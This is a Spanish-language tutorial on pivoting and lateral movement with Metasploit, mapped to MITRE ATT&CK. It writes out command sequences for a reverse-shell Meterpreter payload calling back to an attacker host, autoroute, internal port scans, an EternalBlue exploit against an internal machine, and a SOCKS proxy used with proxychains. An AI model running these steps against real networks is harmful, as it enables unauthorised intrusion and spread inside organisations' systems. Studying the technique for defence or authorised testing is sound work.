🌍 Pivoting: Movimiento Lateral a través de Redes
Pivoting es la técnica de usar una máquina comprometida como puente para alcanzar otras máquinas en redes internas no directamente accesibles desde el atacante. Metasploit facilita esto con rutas automáticas y proxies SOCKS.
Técnica MITRE ATT&CK: T1090 - Proxy y T1021 - Remote Services. Táctica: TA0008 - Lateral Movement.
| Escenario | Descripción |
|---|---|
| Máquina A (pivot) | Comprometida, accesible desde el atacante y la red interna |
| Máquina B (objetivo) | Solo en la red interna, no alcanzable directamente |
| Atacante | Solo puede llegar a la máquina A directamente |
💥 Fase 1 — Comprometer la máquina pivot (A)
Obtener sesión en máquina A
msfconsole -q
use exploit/...
set RHOSTS <IP_maquina_A>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Descubrir interfaces de red en A
# En la sesión Meterpreter de A:
ifconfig
# o ipconfig en Windows
# Identificar la subred interna
🗺 Fase 2 — Configurar rutas y pivot
Añadir ruta a la red interna
# Desde Meterpreter en A:
run autoroute -s 10.10.10.0/24 # subred interna
run autoroute -p # verificar rutas
Escanear red interna a través del pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 1-1000
exploit
# Descubre servicios en máquina B
💥 Fase 3 — Explotar máquina interna (B)
Lanzar exploit contra B via pivot
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP_maquina_B>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
# Sesión en B a través del pivot
Proxy SOCKS para herramientas externas
use auxiliary/server/socks_proxy
set SRVPORT 1080
exploit
# En otra terminal, usar proxychains:
proxychains nmap -sT 10.10.10.0/24
📋 Flujo del ataque
1
Comprometer AObtener sesión Meterpreter en la máquina pivot.
2
DescubrimientoIdentificar la subred interna desde la máquina A.
3
Rutasautoroute para enrutar tráfico Metasploit por el pivot.
4
Escaneo internoDescubrir servicios en la red interna.
5
Explotación BObtener sesión en máquina B a través del pivot.
6
SOCKSConfigurar proxy para herramientas externas (nmap, curl).
🧠 Conceptos clave
- autoroute: Añade rutas en Metasploit para que el tráfico pase por la sesión comprometida.
- SOCKS proxy: Permite que herramientas externas (nmap, curl, browser) usen el pivot.
- proxychains: Fuerza cualquier herramienta de Linux a usar el proxy SOCKS configurado.
- Movimiento lateral: Expansión del acceso dentro de una red usando recursos comprometidos.
- Segmentación de red: La mitigación principal; aislar redes internas limita el radio de acción del pivoting.